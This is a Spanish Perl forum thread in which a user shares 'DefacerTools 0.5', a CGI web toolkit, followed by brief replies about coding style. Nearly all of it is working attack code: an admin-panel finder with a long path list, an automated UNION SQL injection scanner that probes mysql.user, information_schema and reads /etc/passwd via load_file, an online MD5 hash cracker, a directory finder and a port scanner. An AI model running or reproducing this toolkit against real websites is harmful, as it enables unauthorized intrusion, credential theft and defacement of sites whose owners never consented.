• Publicidad

DefacerTools 0.5 (regalo de navidad)

¿Estás desarrollando un proyecto, o piensas hacerlo? Pon aquí tu propuesta, lo más seguro es que alguien esté interesado en ayudarte.

DefacerTools 0.5 (regalo de navidad)

Notapor BigBear » 2011-12-10 15:41 @695

Hola. Acá les traigo un regalo de navidad que hice en 3 horas. Es un programa en CGI para usar en webs que
soporten el mismo. Yo hice todas las pruebas con xampp y al parecer todo funciona bien.

Las funciones del programa son :

[+] HexConverter
[+] PanelFinder
[+] PathsFinder
[+] SQLi Scanner
[+] FuzzDNS
[+] FinderPass
[+] PortScanner

El código del programa (formateado con perltidy) es

defacertools.cgi

Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
  1. #!"\xampp\perl\bin\perl.exe"
  2. #
  3. #DefacerTools 0.5
  4. #
  5. #(C) Doddy Hackman 2012
  6. #
  7. #
  8.  
  9. use CGI;
  10. use LWP::UserAgent;
  11. use URI::Split qw(uri_split);
  12. use HTML::LinkExtor;
  13. use IO::Socket;
  14.  
  15. @panels = (
  16.     'admin/admin.asp',               'admin/login.asp',
  17.     'admin/index.asp',               'admin/admin.aspx',
  18.     'admin/login.aspx',              'admin/index.aspx',
  19.     'admin/webmaster.asp',           'admin/webmaster.aspx',
  20.     'asp/admin/index.asp',           'asp/admin/index.aspx',
  21.     'asp/admin/admin.asp',           'asp/admin/admin.aspx',
  22.     'asp/admin/webmaster.asp',       'asp/admin/webmaster.aspx',
  23.     'admin/',                        'login.asp',
  24.     'login.aspx',                    'admin.asp',
  25.     'admin.aspx',                    'webmaster.aspx',
  26.     'webmaster.asp',                 'login/index.asp',
  27.     'login/index.aspx',              'login/login.asp',
  28.     'login/login.aspx',              'login/admin.asp',
  29.     'login/admin.aspx',              'administracion/index.asp',
  30.     'administracion/index.aspx',     'administracion/login.asp',
  31.     'administracion/login.aspx',     'administracion/webmaster.asp',
  32.     'administracion/webmaster.aspx', 'administracion/admin.asp',
  33.     'administracion/admin.aspx',     'php/admin/',
  34.     'admin/admin.php',               'admin/index.php',
  35.     'admin/login.php',               'admin/system.php',
  36.     'admin/ingresar.php',            'admin/administrador.php',
  37.     'admin/default.php',             'administracion/',
  38.     'administracion/index.php',      'administracion/login.php',
  39.     'administracion/ingresar.php',   'administracion/admin.php',
  40.     'administration/',               'administration/index.php',
  41.     'administration/login.php',      'administrator/index.php',
  42.     'administrator/login.php',       'administrator/system.php',
  43.     'system/',                       'system/login.php',
  44.     'admin.php',                     'login.php',
  45.     'administrador.php',             'administration.php',
  46.     'administrator.php',             'admin1.html',
  47.     'admin1.php',                    'admin2.php',
  48.     'admin2.html',                   'yonetim.php',
  49.     'yonetim.html',                  'yonetici.php',
  50.     'yonetici.html',                 'adm/',
  51.     'admin/account.php',             'admin/account.html',
  52.     'admin/index.html',              'admin/login.html',
  53.     'admin/home.php',                'admin/controlpanel.html',
  54.     'admin/controlpanel.php',        'admin.html',
  55.     'admin/cp.php',                  'admin/cp.html',
  56.     'cp.php',                        'cp.html',
  57.     'administrator/',                'administrator/index.html',
  58.     'administrator/login.html',      'administrator/account.html',
  59.     'administrator/account.php',     'administrator.html',
  60.     'login.html',                    'modelsearch/login.php',
  61.     'moderator.php',                 'moderator.html',
  62.     'moderator/login.php',           'moderator/login.html',
  63.     'moderator/admin.php',           'moderator/admin.html',
  64.     'moderator/',                    'account.php',
  65.     'account.html',                  'controlpanel/',
  66.     'controlpanel.php',              'controlpanel.html',
  67.     'admincontrol.php',              'admincontrol.html',
  68.     'adminpanel.php',                'adminpanel.html',
  69.     'admin1.asp',                    'admin2.asp',
  70.     'yonetim.asp',                   'yonetici.asp',
  71.     'admin/account.asp',             'admin/home.asp',
  72.     'admin/controlpanel.asp',        'admin/cp.asp',
  73.     'cp.asp',                        'administrator/index.asp',
  74.     'administrator/login.asp',       'administrator/account.asp',
  75.     'administrator.asp',             'modelsearch/login.asp',
  76.     'moderator.asp',                 'moderator/login.asp',
  77.     'moderator/admin.asp',           'account.asp',
  78.     'controlpanel.asp',              'admincontrol.asp',
  79.     'adminpanel.asp',                'fileadmin/',
  80.     'fileadmin.php',                 'fileadmin.asp',
  81.     'fileadmin.html',                'administration.html',
  82.     'sysadmin.php',                  'sysadmin.html',
  83.     'phpmyadmin/',                   'myadmin/',
  84.     'sysadmin.asp',                  'sysadmin/',
  85.     'ur-admin.asp',                  'ur-admin.php',
  86.     'ur-admin.html',                 'ur-admin/',
  87.     'Server.php',                    'Server.html',
  88.     'Server.asp',                    'Server/',
  89.     'wp-admin/',                     'administr8.php',
  90.     'administr8.html',               'administr8/',
  91.     'administr8.asp',                'webadmin/',
  92.     'webadmin.php',                  'webadmin.asp',
  93.     'webadmin.html',                 'administratie/',
  94.     'admins/',                       'admins.php',
  95.     'admins.asp',                    'admins.html',
  96.     'administrivia/',                'Database_Administration/',
  97.     'WebAdmin/',                     'useradmin/',
  98.     'sysadmins/',                    'admin1/',
  99.     'system-administration/',        'administrators/',
  100.     'pgadmin/',                      'directadmin/',
  101.     'staradmin/',                    'ServerAdministrator/',
  102.     'SysAdmin/',                     'administer/',
  103.     'LiveUser_Admin/',               'sys-admin/',
  104.     'typo3/',                        'panel/',
  105.     'cpanel/',                       'cPanel/',
  106.     'cpanel_file/',                  'platz_login/',
  107.     'rcLogin/',                      'blogindex/',
  108.     'formslogin/',                   'autologin/',
  109.     'support_login/',                'meta_login/',
  110.     'manuallogin/',                  'simpleLogin/',
  111.     'loginflat/',                    'utility_login/',
  112.     'showlogin/',                    'memlogin/',
  113.     'members/',                      'login-redirect/',
  114.     'sub-login/',                    'wp-login/',
  115.     'login1/',                       'dir-login/',
  116.     'login_db/',                     'xlogin/',
  117.     'smblogin/',                     'customer_login/',
  118.     'UserLogin/',                    'login-us/',
  119.     'acct_login/',                   'admin_area/',
  120.     'bigadmin/',                     'project-admins/',
  121.     'phppgadmin/',                   'pureadmin/',
  122.     'sql-admin/',                    'radmind/',
  123.     'openvpnadmin/',                 'wizmysqladmin/',
  124.     'vadmind/',                      'ezsqliteadmin/',
  125.     'hpwebjetadmin/',                'newsadmin/',
  126.     'adminpro/',                     'Lotus_Domino_Admin/',
  127.     'bbadmin/',                      'vmailadmin/',
  128.     'Indy_admin/',                   'ccp14admin/',
  129.     'irc-macadmin/',                 'banneradmin/',
  130.     'sshadmin/',                     'phpldapadmin/',
  131.     'macadmin/',                     'administratoraccounts/',
  132.     'admin4_account/',               'admin4_colon/',
  133.     'radmind-1/',                    'Super-Admin/',
  134.     'AdminTools/',                   'cmsadmin/',
  135.     'SysAdmin2/',                    'globes_admin/',
  136.     'cadmins/',                      'phpSQLiteAdmin/',
  137.     'navSiteAdmin/',                 'server_admin_small/',
  138.     'logo_sysadmin/',                'server/',
  139.     'database_administration/',      'power_user/',
  140.     'system_administration/',        'ss_vms_admin_sm/'
  141. );
  142.  
  143. my @dns = ('www');
  144.  
  145. #my @dns = #('www','www1','www2','www3','ftp','ns','mail','3com','aix','apache','back','bind','boreder','bsd','business',
  146. #'chains','cisco','content','corporate','cpv','dns','domino','dominoserver','download','e-mail',
  147. #'e-safe','email','esafe','external','extranet','firebox','firewall','front','fw','fw0','fwe','fw-1',
  148. #'firew','gate','gatekeeper','gateway','gauntlet','group','help','hop','hp','hpjet','hpux','http','https',
  149. #'hub','ibm','ids','info','inside','internal','internet','intranet','ipfw','irix','jet','list','lotus',
  150. #'lotusdomino','lotusnotes','lotusserver','mailfeed','mailgate','mailgateway','mailgroup','mailhost','maillist',
  151. #'mailpop','mailrelay','mimesweeper','ms','msproxy','mx','nameserver','news','newsdesk','newsfeed','newsgroup',
  152. #'newsroom','newsserver','nntp','notes','noteserver','notesserver','nt','outside','pix','pop','pop3','pophost',
  153. #'popmail','popserver','print','printer','private','proxy','proxyserver','public','qpop','raptor','read',
  154. #'redcreek','redhat','route','router','scanner','screen','screening','s#ecure','seek','smail','smap','smtp',
  155. #'smtpgateway','smtpgw','solaris','sonic','spool','squid','sun','sunos','suse','switch','transfer','trend',
  156. #'trendmicro','vlan','vpn','wall','web','webmail','webserver','webswitch','win2000','win2k','upload','file',
  157. #'fileserver','storage','backup','share','core','gw','wingate','main','noc','home','radius','security','access',
  158. #'dmz','domain','sql','mysql','mssql','postgres','db','database','imail','imap','exchange','sendmail','louts',
  159. #'test','logs','stage','staging','dev','devel','ppp','chat','irc','eng','admin','unix','linux','windows','apple',
  160. #'hp-ux','bigip','pc');
  161.  
  162. my $nave = LWP::UserAgent->new;
  163. $nave->agent(
  164.     "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  165. );
  166. $nave->timeout(5);
  167.  
  168. my %rta;
  169.  
  170. my $que  = new CGI;
  171. my @ques = $que->param;
  172.  
  173. for (@ques) {
  174.     $rta{$_} = $que->param($_);
  175. }
  176.  
  177. print "Content-type:text/html\n\n";
  178. print "
  179.  
  180. <style type=text/css>
  181.  
  182.  
  183. .main {
  184. margin                  : -287px 0px 0px -490px;
  185. border                  : White solid 1px;
  186. BORDER-COLOR: #00FF00;
  187. }
  188.  
  189. #pie {
  190. position: absolute;
  191. bottom: 0;
  192. }
  193.  
  194. body,a:link {
  195. font: normal 16px Verdana, Arial, Helvetica,
  196. sans-serif;
  197. background-color: #000000;
  198. color:#00FF00;
  199. Courier New;
  200. cursor:crosshair;
  201. font-size: small;
  202. }
  203.  
  204. input,table.outset,table.bord,table,textarea,select {
  205. background-color:black;color:#00FF00;
  206. border: solid 1px #00FF00;
  207. border-color:#00FF00
  208. }
  209.  
  210. a:link,a:visited,a:active {
  211. color: #00FF00;
  212. font: normal 16px Verdana, Arial, Helvetica,
  213. sans-serif;
  214. text-decoration: none;
  215. }
  216.  
  217. </style>";
  218.  
  219. if ( $rta{'hex'} ) {
  220.     logouno();
  221.     print
  222. qq(<form method=post action=''><b>Text to encode : </b><input type=text name=textocode value=test><input type=submit name=codificar value=Encode></form>);
  223.     copyright();
  224. }
  225. elsif ( $rta{'textocode'} ) {
  226.     logouno();
  227.     print "[+] Encode : <b>" . encode( $rta{'textocode'} ) . "</b><br><br>";
  228.     print "</center>";
  229.     copyright();
  230. }
  231. elsif ( $rta{'panelfinder'} ) {
  232.     logodos();
  233.     print
  234. qq(<form method=post action=''><b>Page : </b><input type=text name=buscarpanel value=http://localhost/><input type=submit value=Find></form>);
  235.     copyright();
  236. }
  237. elsif ( $rta{'buscarpanel'} ) {
  238.  
  239.     my $page = $rta{'buscarpanel'};
  240.     logodos();
  241.     print "<br>[+] Scanning $page<br><br>";
  242.     for $path (@panels) {
  243.         $code = tomax( $page . "/" . $path );
  244.         if ( $code->is_success ) {
  245.             print "[Link] : " . $page . "/" . $path . "<br>";
  246.         }
  247.     }
  248.     print "<br><br>[+] Finish<br>";
  249.     copyright();
  250. }
  251. elsif ( $rta{'pathsfinder'} ) {
  252.     logotres();
  253.     print
  254. qq(<form method=post action=''><b>Page : </b><input type=text name=buscarpaths value=http://localhost/doddy><input type=submit name=codificar value=Find></form>);
  255.     copyright();
  256. }
  257. elsif ( $rta{'buscarpaths'} ) {
  258.     logotres();
  259.  
  260.     my $page = $rta{'buscarpaths'};
  261.  
  262.     my $code  = toma($page);
  263.     my @links = get_links($code);
  264.  
  265.     print "<br><br>[+] Finding paths<br><br>";
  266.  
  267.     for my $com (@links) {
  268.         my ( $scheme, $auth, $path, $query, $frag ) = uri_split($page);
  269.         if ( $path =~ /\/(.*)$/ ) {
  270.             my $path1 = $1;
  271.             $page =~ s/$path1//ig;
  272.             my ( $scheme, $auth, $path, $query, $frag ) = uri_split($com);
  273.             if ( $path =~ /(.*)\// ) {
  274.                 my $parche = $1;
  275.                 unless ( $repetidos =~ /$parche/ ) {
  276.                     $repetidos .= " " . $parche;
  277.                     my $code = toma( "http://" . $auth . $parche );
  278.  
  279.                     if ( $code =~ /Index of (.*)</ig ) {
  280.                         my $dir_found = $1;
  281.                         chomp $dir_found;
  282.                         print "[+] Directory Found : $page/$dir_found<br>";
  283.                     }
  284.                 }
  285.             }
  286.         }
  287.     }
  288.     print "<br><br>[+]Finished<br>";
  289.     copyright();
  290. }
  291. elsif ( $rta{'sqliscanner'} ) {
  292.     logocuatro();
  293.     print
  294. qq(<form method=post action=''><b>Page : </b><input type=text name=buscarsql value=http://localhost/sql.php?id=><input type=submit name=codificar value=Scan></form>);
  295.     copyright();
  296. }
  297. elsif ( $rta{'buscarsql'} ) {
  298.     logocuatro();
  299.     print "<br><br>[+] Scanning page<br><br>";
  300.     &length( $rta{'buscarsql'} );
  301.     print "<br><br>[+] Finished";
  302.     copyright();
  303. }
  304. elsif ( $rta{'fuzzdns'} ) {
  305.     logocinco();
  306.     print
  307. qq(<form method=post action=''><b>Host : </b><input type=text name=buscardns value=google.com><input type=submit name=codificar value=Scan></form>);
  308.     copyright();
  309. }
  310. elsif ( $rta{'buscardns'} ) {
  311.     logocinco();
  312.  
  313.     my $page = $rta{'buscardns'};
  314.  
  315.     print "<br><br>[+] Searching DNS to " . $page . ".....<br><br><br>";
  316.     for my $path (@dns) {
  317.         $code = tomax( "http://" . $path . "." . $page );
  318.         if ( $code->is_success ) {
  319.             print "[+] Found : http://" . $path . "." . $page . "<br>";
  320.         }
  321.     }
  322.     print "<br><br>[+] Finished<br><br>";
  323.     copyright();
  324. }
  325. elsif ( $rta{'finderpass'} ) {
  326.     logoseis();
  327.     print
  328. qq(<form method=post action=''><b>MD5 : </b><input type=text name=buscarhash value=202cb962ac59075b964b07152d234b70><input type=submit name=codificar value=Scan></form>);
  329.     copyright();
  330. }
  331. elsif ( $rta{'buscarhash'} ) {
  332.     logoseis();
  333.     &crackit( $rta{'buscarhash'} );
  334.     copyright();
  335. }
  336. elsif ( $rta{'portscanner'} ) {
  337.     logosiete();
  338.     print
  339. qq(<form method=post action=''><b>IP : </b><input type=text name=buscarpuertos value=localhost><input type=submit name=codificar value=Scan></form>);
  340.     copyright();
  341. }
  342. elsif ( $rta{'buscarpuertos'} ) {
  343.     logosiete();
  344.     scanuno( $rta{'buscarpuertos'} );
  345.     copyright();
  346. }
  347. elsif ( $rta{'home'} ) {
  348.     sintax();
  349. }
  350. else {
  351.     sintax();
  352. }
  353.  
  354. sub sintax {
  355.     print qq(
  356. <title>DefacerTools 0.5 (C) Doddy Hackman 2012</title>
  357. <br><br>
  358. <h1><center>DefacerTools</center></h1>
  359. <br><br>
  360. <center>
  361. <table border=1>
  362. <td class=main><center><b>Tools</b></center></td><tr>
  363. <td class=main><a href=?hex=true><center>HexConverter</center></a></td><tr>
  364. <td class=main><a href=?panelfinder=true><center>PanelFinder</center></a></td><tr>
  365. <td class=main><a href=?pathsfinder=true><center>PathsFinder</center></a></td><tr>
  366. <td class=main><a href=?sqliscanner=true><center>SQLi Scanner</center></a></td><tr>
  367. <td class=main><a href=?fuzzdns=true><center>FuzzDNS</center></a></td><tr>
  368. <td class=main><a href=?finderpass=true><center>FinderPass</center></a></td><tr>
  369. <td class=main><a href=?portscanner=true><center>PortScanner</center></a></td>
  370. </table>
  371. </center>      
  372. );
  373. }
  374.  
  375. sub logouno {
  376.     print qq(
  377. <center>
  378. <pre>
  379.  
  380.  
  381.  
  382.  @    @                 @@@@                                        
  383.  @    @                @    @                            @          
  384.  @    @                @                                 @          
  385.  @    @   @@@  @  @    @       @@@  @ @@  @   @  @@@  @@ @@  @@@  @@
  386.  @@@@@@  @   @ @  @    @      @   @ @@  @ @   @ @   @ @  @  @   @ @
  387.  @    @  @@@@@  @@     @      @   @ @   @  @ @  @@@@@ @  @  @@@@@ @
  388.  @    @  @      @@     @      @   @ @   @  @ @  @     @  @  @     @
  389.  @    @  @   @ @  @    @    @ @   @ @   @   @   @   @ @  @  @   @ @
  390.  @    @   @@@  @  @     @@@@   @@@  @   @   @    @@@  @   @  @@@  @
  391.  
  392.  
  393.  
  394.  
  395. </pre>
  396.  
  397.  
  398. );
  399. }
  400.  
  401. sub logodos {
  402.     print qq(
  403. <center>
  404. <pre>
  405.  
  406.  
  407.  
  408.  @@@@@                    @ @@@@@ @           @        
  409.  @    @                   @ @                 @        
  410.  @    @                   @ @                 @        
  411.  @    @  @@@  @ @@   @@@  @ @     @ @ @@   @@@@  @@@  @@
  412.  @@@@@      @ @@  @ @   @ @ @@@@  @ @@  @ @   @ @   @ @
  413.  @       @@@@ @   @ @@@@@ @ @     @ @   @ @   @ @@@@@ @
  414.  @      @   @ @   @ @     @ @     @ @   @ @   @ @     @
  415.  @      @   @ @   @ @   @ @ @     @ @   @ @   @ @   @ @
  416.  @       @@@@ @   @  @@@  @ @     @ @   @  @@@@  @@@  @
  417.  
  418.  
  419.  
  420.  
  421. </pre>
  422.  
  423.  
  424. );
  425. }
  426.  
  427. sub logotres {
  428.     print qq(
  429. <center>
  430. <pre>
  431.  
  432.  
  433.  
  434.  @@@@@           @          @@@@@ @           @        
  435.  @    @       @  @          @                 @        
  436.  @    @       @  @          @                 @        
  437.  @    @  @@@  @@ @ @@   @@  @     @ @ @@   @@@@  @@@  @@
  438.  @@@@@      @ @  @@  @ @  @ @@@@  @ @@  @ @   @ @   @ @
  439.  @       @@@@ @  @   @  @   @     @ @   @ @   @ @@@@@ @
  440.  @      @   @ @  @   @   @  @     @ @   @ @   @ @     @
  441.  @      @   @ @  @   @ @  @ @     @ @   @ @   @ @   @ @
  442.  @       @@@@  @ @   @  @@  @     @ @   @  @@@@  @@@  @
  443.  
  444.  
  445.  
  446.  
  447.  
  448. </pre>
  449.  
  450.  
  451. );
  452. }
  453.  
  454. sub logocuatro {
  455.     print qq(
  456. <center>
  457. <pre>
  458.  
  459.  
  460.  
  461.   @@@    @@@@   @     @      @@@                                  
  462.  @   @  @    @  @     @     @   @                                  
  463.  @      @    @  @     @     @                                      
  464.  @      @    @  @     @     @       @@@   @@@  @ @@  @ @@   @@@  @@
  465.   @@@   @    @  @     @      @@@   @   @     @ @@  @ @@  @ @   @ @
  466.      @  @    @  @     @         @  @      @@@@ @   @ @   @ @@@@@ @
  467.      @  @  @ @  @     @         @  @     @   @ @   @ @   @ @     @
  468.  @   @  @   @@  @     @     @   @  @   @ @   @ @   @ @   @ @   @ @
  469.   @@@    @@@@   @@@@@ @      @@@    @@@   @@@@ @   @ @   @  @@@  @
  470.              @                                                    
  471.  
  472.  
  473.  
  474.  
  475.  
  476. </pre>
  477.  
  478.  
  479. );
  480. }
  481.  
  482. sub logocinco {
  483.     print qq(
  484. <center>
  485. <pre>
  486.  
  487.  
  488.  
  489.  @@@@@                    @@@@    @    @   @@@
  490.  @                        @   @   @@   @  @   @
  491.  @                        @    @  @@   @  @    
  492.  @     @   @ @@@@ @@@@    @    @  @ @  @  @    
  493.  @@@@  @   @    @    @    @    @  @ @  @   @@@
  494.  @     @   @   @    @     @    @  @  @ @      @
  495.  @     @   @  @    @      @    @  @   @@      @
  496.  @     @  @@ @    @       @   @   @   @@  @   @
  497.  @      @@ @ @@@@ @@@@    @@@@    @    @   @@@
  498.  
  499.  
  500.  
  501.  
  502.  
  503.  
  504. </pre>
  505.  
  506.  
  507. );
  508. }
  509.  
  510. sub logoseis {
  511.     print qq(
  512. <center>
  513. <pre>
  514.  
  515.  
  516.  
  517.  @@@@@ @           @          @@@@@                
  518.  @                 @          @    @                
  519.  @                 @          @    @                
  520.  @     @ @ @@   @@@@  @@@  @@ @    @  @@@   @@   @@
  521.  @@@@  @ @@  @ @   @ @   @ @  @@@@@      @ @  @ @  @
  522.  @     @ @   @ @   @ @@@@@ @  @       @@@@  @    @  
  523.  @     @ @   @ @   @ @     @  @      @   @   @    @
  524.  @     @ @   @ @   @ @   @ @  @      @   @ @  @ @  @
  525.  @     @ @   @  @@@@  @@@  @  @       @@@@  @@   @@
  526.  
  527.  
  528.  
  529.  
  530.  
  531.  
  532.  
  533. </pre>
  534.  
  535.  
  536. );
  537. }
  538.  
  539. sub logosiete {
  540.     print qq(
  541. <center>
  542. <pre>
  543.  
  544.  
  545.  
  546.  @@@@@               @@@                                  
  547.  @    @          @  @   @                                  
  548.  @    @          @  @                                      
  549.  @    @  @@@  @@ @@ @       @@@   @@@  @ @@  @ @@   @@@  @@
  550.  @@@@@  @   @ @  @   @@@   @   @     @ @@  @ @@  @ @   @ @
  551.  @      @   @ @  @      @  @      @@@@ @   @ @   @ @@@@@ @
  552.  @      @   @ @  @      @  @     @   @ @   @ @   @ @     @
  553.  @      @   @ @  @  @   @  @   @ @   @ @   @ @   @ @   @ @
  554.  @       @@@  @   @  @@@    @@@   @@@@ @   @ @   @  @@@  @
  555.  
  556.  
  557.  
  558.  
  559.  
  560.  
  561.  
  562.  
  563. </pre>
  564.  
  565.  
  566. );
  567. }
  568.  
  569. sub copyright {
  570.     print
  571. qq(<br><br><br><br><br><br><br><center><a href=?home=true><b>Return to home</b></a></center><br><br>);
  572. }
  573.  
  574. sub length {
  575.     print "<br>[+] Looking for the number of columns<br><br>";
  576.     my $rows = "0";
  577.     my $asc;
  578.     my $page = $_[0];
  579.     ( $pass1, $pass2 ) = &bypass( $_[1] );
  580.  
  581.     $alert = "char(" . ascii("RATSXPDOWN1RATSXPDOWN") . ")";
  582.     $total = "1";
  583.     for my $rows ( 2 .. 200 ) {
  584.         $asc .=
  585.           "," . "char(" . ascii( "RATSXPDOWN" . $rows . "RATSXPDOWN" ) . ")";
  586.         $total .= "," . $rows;
  587.         $injection =
  588.             $page . "1"
  589.           . $pass1 . "and"
  590.           . $pass1 . "1=0"
  591.           . $pass1 . "union"
  592.           . $pass1
  593.           . "select"
  594.           . $pass1
  595.           . $alert
  596.           . $asc;
  597.         $test = toma($injection);
  598.         if ( $test =~ /RATSXPDOWN/ ) {
  599.             @number = $test =~ m{RATSXPDOWN(\d+)RATSXPDOWN}g;
  600.             $control = 1;
  601.             my ( $scheme, $auth, $path, $query, $frag ) = uri_split( $_[0] );
  602.             my $save = $auth;
  603.             $total =~ s/$number[0]/hackman/;
  604.             print "[SQLI] : "
  605.               . $page . "1"
  606.               . $pass1 . "and"
  607.               . $pass1 . "1=0"
  608.               . $pass1 . "union"
  609.               . $pass1
  610.               . "select"
  611.               . $pass1
  612.               . $total . "<br>";
  613.             details(
  614.                 $page . "1"
  615.                   . $pass1 . "and"
  616.                   . $pass1 . "1=0"
  617.                   . $pass1 . "union"
  618.                   . $pass1
  619.                   . "select"
  620.                   . $pass1
  621.                   . $total,
  622.                 "--", ""
  623.             );
  624.         }
  625.     }
  626. }
  627.  
  628. sub details {
  629.     my ( $page, $bypass, $save ) = @_;
  630.     ( $pass1, $pass2 ) = &bypass($bypass);
  631.     if ( $page =~ /(.*)hackman(.*)/ig ) {
  632.         print "<br>[+] Searching information..<br><br>";
  633.         my ( $start, $end ) = ( $1, $2 );
  634.         $inforschema =
  635.             $start
  636.           . "unhex(hex(concat(char(69,82,84,79,82,56,53,52))))"
  637.           . $end
  638.           . $pass1 . "from"
  639.           . $pass1
  640.           . "information_schema.tables"
  641.           . $pass2;
  642.         $mysqluser =
  643.             $start
  644.           . "unhex(hex(concat(char(69,82,84,79,82,56,53,52))))"
  645.           . $end
  646.           . $pass1 . "from"
  647.           . $pass1
  648.           . "mysql.user"
  649.           . $pass2;
  650.         $test3 =
  651.           toma( $start
  652.               . "unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))"
  653.               . $end
  654.               . $pass2 );
  655.         $test1 = toma($inforschema);
  656.         $test2 = toma($mysqluser);
  657.         if ( $test2 =~ /ERTOR854/ig ) {
  658.             print "[mysql.user] : ON<br>";
  659.         }
  660.         else {
  661.             print "[mysql.user] : OFF<br>";
  662.         }
  663.         if ( $test1 =~ /ERTOR854/ig ) {
  664.             print "[information_schema.tables] : ON<br>";
  665.         }
  666.         else {
  667.             print "[information_schema.tables] : OFF<br>";
  668.         }
  669.         if ( $test3 =~ /ERTOR854/ig ) {
  670.             print "[load_file] : ON<br>";
  671.         }
  672.         $concat =
  673. "unhex(hex(concat(char(69,82,84,79,82,56,53,52),version(),char(69,82,84,79,82,56,53,52),database(),char(69,82,84,79,82,56,53,52),user(),char(69,82,84,79,82,56,53,52))))";
  674.         $injection = $start . $concat . $end . $pass2;
  675.         $code      = toma($injection);
  676.         if ( $code =~ /ERTOR854(.*)ERTOR854(.*)ERTOR854(.*)ERTOR854/g ) {
  677.             print
  678. "<br>[!] DB Version : $1<br>[!] DB Name : $2<br>[!] user_name : $3<br><br>";
  679.         }
  680.         else {
  681.             print "<br>[-] Not found any data<br>";
  682.         }
  683.     }
  684. }
  685.  
  686. sub encode {
  687.     my $string = $_[0];
  688.     $hex = '0x';
  689.     for ( split //, $string ) {
  690.         $hex .= sprintf "%x", ord;
  691.     }
  692.     return $hex;
  693. }
  694.  
  695. sub bypass {
  696.     if    ( $_[0] eq "/*" )  { return ( "/**/", "/**/" ); }
  697.     elsif ( $_[0] eq "%20" ) { return ( "%20",  "%00" ); }
  698.     else                     { return ( "+",    "--" ); }
  699. }
  700.  
  701. sub ascii {
  702.     return join ',', unpack "U*", $_[0];
  703. }
  704.  
  705. sub toma {
  706.     return $nave->get( $_[0] )->content;
  707. }
  708.  
  709. sub tomax {
  710.     return $nave->get( $_[0] );
  711. }
  712.  
  713. sub get_links {
  714.  
  715.     $test = HTML::LinkExtor->new( \&agarrar )->parse( $_[0] );
  716.     return @links;
  717.  
  718.     sub agarrar {
  719.         my ( $a, %b ) = @_;
  720.         push( @links, values %b );
  721.     }
  722. }
  723.  
  724. sub crackit {
  725.  
  726.     my $secret = $_[0];
  727.  
  728.     print "<br><br>[+] Cracking $_[0]<br><br>";
  729.  
  730.     my %hash = (
  731.  
  732.         'http://passcracking.com/' => {
  733.             'tipo'      => 'post',
  734.             'variables' => '{"datafromuser" => $_[0], "submit" => "DoIT"}',
  735.             'regex' =>
  736. '<\/td><td>md5 Database<\/td><td>$_[0]<\/td><td bgcolor=#FF0000>(.*)<\/td><td>',
  737.         },
  738.         'http://md5.hashcracking.com/search.php?md5=' => {
  739.             'tipo'  => 'get',
  740.             'regex' => 'Cleartext of $_[0] is (.*)',
  741.         },
  742.         'http://www.bigtrapeze.com/md5/' => {
  743.             'tipo'      => 'post',
  744.             'variables' => '{"query" => $_[0], "submit" => " Crack "}',
  745.             'regex' =>
  746. 'The hash <strong>$_[0]<\/strong> has been deciphered to: <strong>(.+)<\/strong>',
  747.         },
  748.         'http://opencrack.hashkiller.com/' => {
  749.             'tipo' => 'post',
  750.             'variables' =>
  751.               '{"oc_check_md5" => $_[0], "submit" => "Search MD5"}',
  752.             'regex' => qq(<\/div><div class="result">$_[0]:(.+)<br\/>),
  753.         },
  754.         'http://www.hashchecker.com/index.php?_sls=search_hash' => {
  755.             'tipo'      => 'post',
  756.             'variables' => '{"search_field" => $_[0], "Submit" => "search"}',
  757.             'regex' =>
  758. '<td><li>Your md5 hash is :<br><li>$_[0] is <b>(.*)<\/b> used charl',
  759.         },
  760.         'http://victorov.su/md5/?md5e=&md5d=' => {
  761.             'tipo'  => 'get',
  762.             'regex' => qq(MD5 ðàñøèôðîâàí: <b>(.*)<\/b><br><form action=\"\">),
  763.        }
  764.    );
  765.  
  766.    for my $data ( keys %hash ) {
  767.  
  768.        if ( $hash{$data}{tipo} eq "get" ) {
  769.            $code = toma( $data . $_[0] );
  770.            if ( $code =~ /$hash{$data}{regex}/ig ) {
  771.                print "<br>[+] Decoded : " . $1 . "<br><br>";
  772.                print $secret. ":" . $1 . "<br>";
  773.            }
  774.        }
  775.        else {
  776.            $code = tomar( $data, $hash{$data}{variables} );
  777.            if ( $code =~ /$hash{$data}{regex}/ig ) {
  778.                print $secret. ":" . $1 . "<br>";
  779.            }
  780.        }
  781.    }
  782.    print "<br>[+] Finish<br>";
  783. }
  784.  
  785. sub tomar {
  786.    my ( $web, $var ) = @_;
  787.    return $nave->post( $web, [ %{$var} ] )->content;
  788. }
  789.  
  790. sub scanuno {
  791.  
  792.    my %ports = (
  793.        "21"   => "ftp",
  794.        "22"   => "ssh",
  795.        "25"   => "smtp",
  796.        "80"   => "http",
  797.        "110"  => "pop3",
  798.        "3306" => "mysql"
  799.    );
  800.  
  801.    print "<br>[+] Scanning $_[0]<br><br><br>";
  802.  
  803.    for my $port ( keys %ports ) {
  804.  
  805.        if (
  806.            new IO::Socket::INET(
  807.                PeerAddr => $_[0],
  808.                PeerPort => $port,
  809.                Proto    => "tcp",
  810.                Timeout  => 0.5
  811.            )
  812.          )
  813.        {
  814.            print "[Port] : "
  815.              . $port
  816.              . " [Service] : "
  817.              . $ports{$port} . "<br>";
  818.        }
  819.    }
  820.    print "<br><br>[+] Scan Finish<br>";
  821. }
  822.  
  823. # The End ?
  824.  
Coloreado en 0.026 segundos, usando GeSHi 1.0.8.4
BigBear
Perlero frecuente
Perlero frecuente
 
Mensajes: 981
Registrado: 2009-03-01 18:39 @818

Publicidad

Re: DefacerTools 0.5 (regalo de navidad)

Notapor explorer » 2011-12-10 18:24 @808

Gracias por el aporte, Doddy.

Una pequeña crítica... si supieras sacarle un poco de jugo al módulo CGI, podrías reducir el código en un 20%.

Mira mi CGI mínimo, como ejemplo.
JF^D Perl programming & Raku programming. Grupo en Telegram: https://t.me/Perl_ES
Avatar de Usuario
explorer
Administrador
Administrador
 
Mensajes: 14476
Registrado: 2005-07-24 18:12 @800
Ubicación: Valladolid, España

Re: DefacerTools 0.5 (regalo de navidad)

Notapor BigBear » 2011-12-10 18:27 @810

Gracias por la sugerencia. Es el primer programa que hice usando el módulo CGI.
BigBear
Perlero frecuente
Perlero frecuente
 
Mensajes: 981
Registrado: 2009-03-01 18:39 @818


Volver a Proyectos

¿Quién está conectado?

Usuarios navegando por este Foro: No hay usuarios registrados visitando el Foro y 2 invitados

cron